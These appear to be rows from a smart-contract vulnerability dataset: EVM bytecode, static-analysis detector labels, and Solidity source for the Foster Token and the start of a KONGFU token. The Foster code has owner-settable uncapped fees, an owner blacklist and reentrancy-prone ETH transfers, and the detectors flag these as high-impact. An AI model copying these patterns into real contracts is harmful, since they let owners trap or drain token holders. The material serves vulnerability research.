8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c3b60248361135f565b9150611c4682611bdf565b604082019050919050565b60006020820190508181036000830152611c6a81611c2e565b9050919050565b6000611c7c82611472565b9150611c8783611472565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cbc57611cbb6117f1565b5b828201905092915050565b6000611cd282611472565b9150611cdd83611472565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d1657611d156117f1565b5b82820290509291505056fea264697066735822122068cc39fcf75e3186225a9576b3bfa49a26f932e4305b079fe3769b4e2d92bca664736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,082 |
0x09Cb8D3cbbA7Af2F141f9FAF8DB89A21A686eA91
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/* https://www.fostertoken.net
t.me/foster_token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FosterToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Foster Token";
string private constant _symbol = "FSTR";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
//Sell Fee
uint256 private _distroFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xB4b7901B9Bcf36Dd631516544AA67eC9a320d303);
address payable private _devAddress = payable(0x63c6aa0E57Ff4008247B1164281aCDcBa7A442A3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000 * 10**9; //0.5% of total supply per txn
uint256 public _maxWalletSize = 150000 * 10**9; //1% of total supply
uint256 public _swapTokensAtAmount = 7000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(5).mul(4));
_devAddress.transfer(amount.div(5));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner {
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i] * (1e9);
_transfer(msg.sender, wallet, amount);
}
}
}
|
0x6080604052600436106101ba5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104ee578063c3c8cd801461051e578063dd62ed3e14610533578063ea1644d51461057957600080fd5b806398a5c3151461048e578063a2a957bb146104ae578063a9059cbb146104ce57600080fd5b80638da5cb5b116100c65780638da5cb5b1461040d5780638f70ccf71461042b5780638f9a55c01461044b57806395d89b411461046157600080fd5b8063715018a6146103c257806374010ece146103d75780637d1db4a5146103f757600080fd5b8063313ce567116101595780636b999053116101335780636b9990531461034d5780636d8aa8f81461036d5780636fc3eaec1461038d57806370a08231146103a257600080fd5b8063313ce567146102f157806349bd5a5e1461030d578063672434821461032d57600080fd5b80631694505e116101955780631694505e1461025f57806318160ddd1461029757806323b872dd146102bb5780632fd689e3146102db57600080fd5b8062b8cf2a146101c657806306fdde03146101e8578063095ea7b31461022f57600080fd5b366101c157005b600080fd5b3480156101d257600080fd5b506101e66101e13660046118a6565b610599565b005b3480156101f457600080fd5b5060408051808201909152600c81526b2337b9ba32b9102a37b5b2b760a11b60208201525b60405161022691906118e3565b60405180910390f35b34801561023b57600080fd5b5061024f61024a366004611938565b610638565b6040519015158152602001610226565b34801561026b57600080fd5b5060145461027f906001600160a01b031681565b6040516001600160a01b039091168152602001610226565b3480156102a357600080fd5b50662386f26fc100005b604051908152602001610226565b3480156102c757600080fd5b5061024f6102d6366004611964565b61064f565b3480156102e757600080fd5b506102ad60185481565b3480156102fd57600080fd5b5060405160098152602001610226565b34801561031957600080fd5b5060155461027f906001600160a01b031681565b34801561033957600080fd5b506101e66103483660046119a5565b6106b8565b34801561035957600080fd5b506101e6610368366004611a60565b6107ce565b34801561037957600080fd5b506101e6610388366004611a7d565b610819565b34801561039957600080fd5b506101e6610861565b3480156103ae57600080fd5b506102ad6103bd366004611a60565b610898565b3480156103ce57600080fd5b506101e66108ba565b3480156103e357600080fd5b506101e66103f2366004611a9f565b61092e565b34801561040357600080fd5b506102ad60165481565b34801561041957600080fd5b506000546001600160a01b031661027f565b34801561043757600080fd5b506101e6610446366004611a7d565b61095d565b34801561045757600080fd5b506102ad60175481565b34801561046d57600080fd5b506040805180820190915260048152632329aa2960e11b6020820152610219565b34801561049a57600080fd5b506101e66104a9366004611a9f565b6109a5565b3480156104ba57600080fd5b506101e66104c9366004611ab8565b6109d4565b3480156104da57600080fd5b5061024f6104e9366004611938565b610a12565b3480156104fa57600080fd5b5061024f610509366004611a60565b60106020526000908152604090205460ff1681565b34801561052a57600080fd5b506101e6610a1f565b34801561053f57600080fd5b506102ad61054e366004611aea565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058557600080fd5b506101e6610594366004611a9f565b610a5f565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016105c390611b23565b60405180910390fd5b60005b8151811015610634576001601060008484815181106105f0576105f0611b58565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611b84565b9150506105cf565b5050565b6000610645338484610a8e565b5060015b92915050565b600061065c848484610bb2565b6106ae84336106a985604051806060016040528060288152602001611c9e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611027565b610a8e565b5060019392505050565b6000546001600160a01b031633146106e25760405162461bcd60e51b81526004016105c390611b23565b60c88251106107525760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203230302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b60648201526084016105c3565b60005b82518110156107c957600083828151811061077257610772611b58565b60200260200101519050600083838151811061079057610790611b58565b6020026020010151633b9aca006107a79190611b9f565b90506107b4338383610bb2565b505080806107c190611b84565b915050610755565b505050565b6000546001600160a01b031633146107f85760405162461bcd60e51b81526004016105c390611b23565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108435760405162461bcd60e51b81526004016105c390611b23565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105c390611b23565b4761089581611061565b50565b6001600160a01b038116600090815260026020526040812054610649906110f1565b6000546001600160a01b031633146108e45760405162461bcd60e51b81526004016105c390611b23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109585760405162461bcd60e51b81526004016105c390611b23565b601655565b6000546001600160a01b031633146109875760405162461bcd60e51b81526004016105c390611b23565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105c390611b23565b601855565b6000546001600160a01b031633146109fe5760405162461bcd60e51b81526004016105c390611b23565b600893909355600a91909155600955600b55565b6000610645338484610bb2565b6000546001600160a01b03163314610a495760405162461bcd60e51b81526004016105c390611b23565b6000610a5430610898565b905061089581611175565b6000546001600160a01b03163314610a895760405162461bcd60e51b81526004016105c390611b23565b601755565b6001600160a01b038316610af05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c3565b6001600160a01b038216610b515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c3565b6001600160a01b038216610c785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c3565b60008111610cda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c3565b6000546001600160a01b03848116911614801590610d0657506000546001600160a01b03838116911614155b15610f1a57601554600160a01b900460ff16610d6e57601654811115610d6e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105c3565b6001600160a01b03831660009081526010602052604090205460ff16158015610db057506001600160a01b03821660009081526010602052604090205460ff16155b610e085760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105c3565b6015546001600160a01b03838116911614610e8d5760175481610e2a84610898565b610e349190611bbe565b10610e8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105c3565b6000610e9830610898565b601854601654919250821015908210610eb15760165491505b808015610ec85750601554600160a81b900460ff16155b8015610ee257506015546001600160a01b03868116911614155b8015610ef75750601554600160b01b900460ff165b15610f1757610f0582611175565b478015610f1557610f1547611061565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f5c57506001600160a01b03831660009081526005602052604090205460ff165b80610f8e57506015546001600160a01b03858116911614801590610f8e57506015546001600160a01b03848116911614155b15610f9b57506000611015565b6015546001600160a01b038581169116148015610fc657506014546001600160a01b03848116911614155b15610fd857600854600c55600954600d555b6015546001600160a01b03848116911614801561100357506014546001600160a01b03858116911614155b1561101557600a54600c55600b54600d555b611021848484846112fe565b50505050565b6000818484111561104b5760405162461bcd60e51b81526004016105c391906118e3565b5060006110588486611bd6565b95945050505050565b6012546001600160a01b03166108fc611086600461108085600561132c565b9061136e565b6040518115909202916000818181858888f193505050501580156110ae573d6000803e3d6000fd5b506013546001600160a01b03166108fc6110c983600561132c565b6040518115909202916000818181858888f19350505050158015610634573d6000803e3d6000fd5b60006006548211156111585760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105c3565b60006111626113ed565b905061116e838261132c565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111bd576111bd611b58565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121157600080fd5b505afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112499190611bed565b8160018151811061125c5761125c611b58565b6001600160a01b0392831660209182029290920101526014546112829130911684610a8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bb908590600090869030904290600401611c0a565b600060405180830381600087803b1580156112d557600080fd5b505af11580156112e9573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061130b5761130b611410565b61131684848461143e565b8061102157611021600e54600c55600f54600d55565b600061116e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611535565b60008261137d57506000610649565b60006113898385611b9f565b9050826113968583611c7b565b1461116e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c3565b60008060006113fa611563565b9092509050611409828261132c565b9250505090565b600c541580156114205750600d54155b1561142757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611450876115a1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061148290876115fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114b19086611640565b6001600160a01b0389166000908152600260205260409020556114d38161169f565b6114dd84836116e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161152291815260200190565b60405180910390a3505050505050505050565b600081836115565760405162461bcd60e51b81526004016105c391906118e3565b5060006110588486611c7b565b6006546000908190662386f26fc1000061157d828261132c565b82101561159857505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006115be8a600c54600d5461170d565b92509250925060006115ce6113ed565b905060008060006115e18e878787611762565b919e509c509a509598509396509194505050505091939550919395565b600061116e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611027565b60008061164d8385611bbe565b90508381101561116e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c3565b60006116a96113ed565b905060006116b7838361136e565b306000908152600260205260409020549091506116d49082611640565b30600090815260026020526040902055505050565b6006546116f690836115fe565b6006556007546117069082611640565b6007555050565b60008080806117276064611721898961136e565b9061132c565b9050600061173a60646117218a8961136e565b905060006117528261174c8b866115fe565b906115fe565b9992985090965090945050505050565b6000808080611771888661136e565b9050600061177f888761136e565b9050600061178d888861136e565b9050600061179f8261174c86866115fe565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156117f1576117f16117b2565b604052919050565b600067ffffffffffffffff821115611813576118136117b2565b5060051b60200190565b6001600160a01b038116811461089557600080fd5b600082601f83011261184357600080fd5b81356020611858611853836117f9565b6117c8565b82815260059290921b8401810191818101908684111561187757600080fd5b8286015b8481101561189b57803561188e8161181d565b835291830191830161187b565b509695505050505050565b6000602082840312156118b857600080fd5b813567ffffffffffffffff8111156118cf57600080fd5b6118db84828501611832565b949350505050565b600060208083528351808285015260005b81811015611910578581018301518582016040015282016118f4565b81811115611922576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561194b57600080fd5b82356119568161181d565b946020939093013593505050565b60008060006060848603121561197957600080fd5b83356119848161181d565b925060208401356119948161181d565b929592945050506040919091013590565b600080604083850312156119b857600080fd5b823567ffffffffffffffff808211156119d057600080fd5b6119dc86838701611832565b93506020915081850135818111156119f357600080fd5b85019050601f81018613611a0657600080fd5b8035611a14611853826117f9565b81815260059190911b82018301908381019088831115611a3357600080fd5b928401925b82841015611a5157833582529284019290840190611a38565b80955050505050509250929050565b600060208284031215611a7257600080fd5b813561116e8161181d565b600060208284031215611a8f57600080fd5b8135801515811461116e57600080fd5b600060208284031215611ab157600080fd5b5035919050565b60008060008060808587031215611ace57600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611afd57600080fd5b8235611b088161181d565b91506020830135611b188161181d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9857611b98611b6e565b5060010190565b6000816000190483118215151615611bb957611bb9611b6e565b500290565b60008219821115611bd157611bd1611b6e565b500190565b600082821015611be857611be8611b6e565b500390565b600060208284031215611bff57600080fd5b815161116e8161181d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c5a5784516001600160a01b031683529383019391830191600101611c35565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c9857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061a29d1eaf355560f65bf21a5dea95986e6c55bdc769c5ce63be3e1f481a910c64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,083 |
0x29fdd38a5e942cbe3aacdc2244a8a20c289aa417
|
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
$KONGFU
https://t.me/kongfuentry
When a powerful ape named $KONG is forbid to escape from prison, Kong is unwittingly
named the "Kong Warrior" - a kong-fu legend that allows him to defeat everyone out there,
giving Birth to the Kong fu Saga
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract kongfuport is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "KONGFU";
string private constant _symbol = "KONGFU";
uint8 private constant _decimals = 9;
